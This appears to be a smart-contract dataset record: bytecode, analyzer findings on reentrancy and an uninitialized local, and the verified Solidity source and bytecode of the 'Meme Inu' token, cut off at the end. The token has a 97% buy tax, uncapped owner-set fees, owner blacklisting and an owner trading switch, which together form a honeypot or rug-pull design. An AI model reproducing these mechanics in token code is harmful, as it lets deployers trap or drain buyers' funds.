b90600052602060002090015460055461232802600d6001815481101515610e4b57fe5b906000526020600020900154600d6002815481101515610e6757fe5b906000526020600020900154036005546103e802890302811515610e8757fe5b040191505b610ea3600554612710610a5890919063ffffffff16565b8610158015610ec75750610ec460055461c350610a5890919063ffffffff16565b86105b15610fb357600c6002815481101515610edc57fe5b906000526020600020900154600554619c4002600c6002815481101515610eff57fe5b906000526020600020900154600c6003815481101515610f1b57fe5b9060005260206000209001540360055461271002890302811515610f3b57fe5b04019250600d6002815481101515610f4f57fe5b906000526020600020900154600554619c4002600d6002815481101515610f7257fe5b906000526020600020900154600d6003815481101515610f8e57fe5b9060005260206000209001540360055461271002890302811515610fae57fe5b040191505b610fca60055461c350610a5890919063ffffffff16565b8610151561100f57600c6003815481101515610fe257fe5b9060005260206000209001549250600d600381548110151561100057fe5b90600052602060002090015491505b61104c61103d600c61102f85870360018903610a5890919063ffffffff16565b610a8b90919063ffffffff16565b84611a4090919063ffffffff16565b90506110588682611a59565b94505b5050505092915050565b6040805190810160405280601d81526020017f426f6e756d2046696e616e6369616c20546f6b656e2050726553616c6500000081525081565b60015481565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110557600080fd5b60008111151561111457600080fd5b62015180810260038190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561117e57600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff16141515156111a457600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124357600080fd5b60008173ffffffffffffffffffffffffffffffffffffffff161415151561126957600080fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131457600080fd5b600060149054906101000a900460ff16151561132f57600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60035481565b600a5481565b600060149054906101000a900460ff1681565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f757600080fd5b60008111151561140657600080fd5b8060018190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561146b57600080fd5b600060149054906101000a900460ff1615151561148757600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60095481565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060149054906101000a900460ff1615151561153e57600080fd5b611556600554620b71b0610a5890919063ffffffff16565b600a5410151561156557600080fd5b6001544210158015611578575060025442105b151561158357600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115de57600080fd5b6000602060ff1611801561160757506116036004546064610a5890919063ffffffff16565b8210155b80156116be5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166377cebd89846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808260001916600019168152602001915050602060405180830381600087803b15156116a657600080fd5b5af115156116b357600080fd5b505050604051805190505b15156116c957600080fd5b6116f26004546116e460055485610a5890919063ffffffff16565b610a8b90919063ffffffff16565b905061170981600a54610aa690919063ffffffff16565b600a8190555061172b61171c8483610ac4565b82610aa690919063ffffffff16565b905061174281600b54610aa690919063ffffffff16565b600b81905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bc0409bf84836040518363ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180836000191660001916815260200182815260200192505050600060405180830381600087803b15156117e857600080fd5b5af115156117f557600080fd5b505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561185857600080fd5b60008111151561186757600080fd5b8060028190555050565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561190e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a2757600080fd5b600081111515611a3657600080fd5b8060088190555050565b6000828211151515611a4e57fe5b818303905092915050565b600080611a6f8385610a5890919063ffffffff16565b9050611a85606482610a8b90919063ffffffff16565b9050611a9c60045482610a8b90919063ffffffff16565b90508091505092915050565b600c8054806001018281611abc9190611c0e565b91600052602060002090016000621ab3f090919091505550600c8054806001018281611ae89190611c0e565b91600052602060002090016000629e14c090919091505550600c8054806001018281611b149190611c0e565b916000526020600020900160006301219ca090919091505550600c8054806001018281611b419190611c0e565b9160005260206000209001600063017d784090919091505550600d8054806001018281611b6e9190611c0e565b916000526020600020900160006217cdc090919091505550600d8054806001018281611b9a9190611c0e565b91600052602060002090016000628cafa090919091505550600d8054806001018281611bc69190611c0e565b91600052602060002090016000630101918090919091505550600d8054806001018281611bf39190611c0e565b9160005260206000209001600063015333f090919091505550565b815481835581811511611c3557818360005260206000209182019101611c349190611c3a565b5b505050565b611c5c91905b80821115611c58576000816000905550600101611c40565b5090565b905600a165627a7a723058204e58174758f1fe805c45bbaefd214f94ca5a520f1a027a7f7aaf069bb9971b530029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,933
0x1683622025cBf32679fCE846208ab7411F2a4E71
/** *Submitted for verification at Etherscan.io on 2022-03-27 */ /** */ /** Meme Inu Max wallet is 2% so it may return a honeypot error due to the small dollar value transaction at first. Ownership will be renounced and Liquidity will be locked for 30 days Telegram: https://t.me/MemeInuERC */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract MemeInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Meme Inu"; string private constant _symbol = "Meme Inu"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x36F787f6AD2b11AF602D88Ac274b63Edf77fE7D5); address payable private _marketingAddress = payable(0x36F787f6AD2b11AF602D88Ac274b63Edf77fE7D5); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610523578063dd62ed3e14610543578063ea1644d514610589578063f2fde38b146105a957600080fd5b8063a2a957bb1461049e578063a9059cbb146104be578063bfd79284146104de578063c3c8cd801461050e57600080fd5b80638f70ccf7116100d15780638f70ccf7146104485780638f9a55c01461046857806395d89b41146101fe57806398a5c3151461047e57600080fd5b80637d1db4a5146103e75780637f2feddc146103fd5780638da5cb5b1461042a57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037d57806370a0823114610392578063715018a6146103b257806374010ece146103c757600080fd5b8063313ce5671461030157806349bd5a5e1461031d5780636b9990531461033d5780636d8aa8f81461035d57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cb5780632fd689e3146102eb57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461192d565b6105c9565b005b34801561020a57600080fd5b5060408051808201825260088152674d656d6520496e7560c01b6020820152905161023591906119f2565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a47565b610668565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b50670de0b6b3a76400005b604051908152602001610235565b3480156102d757600080fd5b5061025e6102e6366004611a73565b61067f565b3480156102f757600080fd5b506102bd60185481565b34801561030d57600080fd5b5060405160098152602001610235565b34801561032957600080fd5b5060155461028e906001600160a01b031681565b34801561034957600080fd5b506101fc610358366004611ab4565b6106e8565b34801561036957600080fd5b506101fc610378366004611ae1565b610733565b34801561038957600080fd5b506101fc61077b565b34801561039e57600080fd5b506102bd6103ad366004611ab4565b6107c6565b3480156103be57600080fd5b506101fc6107e8565b3480156103d357600080fd5b506101fc6103e2366004611afc565b61085c565b3480156103f357600080fd5b506102bd60165481565b34801561040957600080fd5b506102bd610418366004611ab4565b60116020526000908152604090205481565b34801561043657600080fd5b506000546001600160a01b031661028e565b34801561045457600080fd5b506101fc610463366004611ae1565b61088b565b34801561047457600080fd5b506102bd60175481565b34801561048a57600080fd5b506101fc610499366004611afc565b6108d3565b3480156104aa57600080fd5b506101fc6104b9366004611b15565b610902565b3480156104ca57600080fd5b5061025e6104d9366004611a47565b610940565b3480156104ea57600080fd5b5061025e6104f9366004611ab4565b60106020526000908152604090205460ff1681565b34801561051a57600080fd5b506101fc61094d565b34801561052f57600080fd5b506101fc61053e366004611b47565b6109a1565b34801561054f57600080fd5b506102bd61055e366004611bcb565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059557600080fd5b506101fc6105a4366004611afc565b610a42565b3480156105b557600080fd5b506101fc6105c4366004611ab4565b610a71565b6000546001600160a01b031633146105fc5760405162461bcd60e51b81526004016105f390611c04565b60405180910390fd5b60005b81518110156106645760016010600084848151811061062057610620611c39565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065c81611c65565b9150506105ff565b5050565b6000610675338484610b5b565b5060015b92915050565b600061068c848484610c7f565b6106de84336106d985604051806060016040528060288152602001611d7f602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111bb565b610b5b565b5060019392505050565b6000546001600160a01b031633146107125760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b057506013546001600160a01b0316336001600160a01b0316145b6107b957600080fd5b476107c3816111f5565b50565b6001600160a01b0381166000908152600260205260408120546106799061122f565b6000546001600160a01b031633146108125760405162461bcd60e51b81526004016105f390611c04565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108865760405162461bcd60e51b81526004016105f390611c04565b601655565b6000546001600160a01b031633146108b55760405162461bcd60e51b81526004016105f390611c04565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108fd5760405162461bcd60e51b81526004016105f390611c04565b601855565b6000546001600160a01b0316331461092c5760405162461bcd60e51b81526004016105f390611c04565b600893909355600a91909155600955600b55565b6000610675338484610c7f565b6012546001600160a01b0316336001600160a01b0316148061098257506013546001600160a01b0316336001600160a01b0316145b61098b57600080fd5b6000610996306107c6565b90506107c3816112b3565b6000546001600160a01b031633146109cb5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e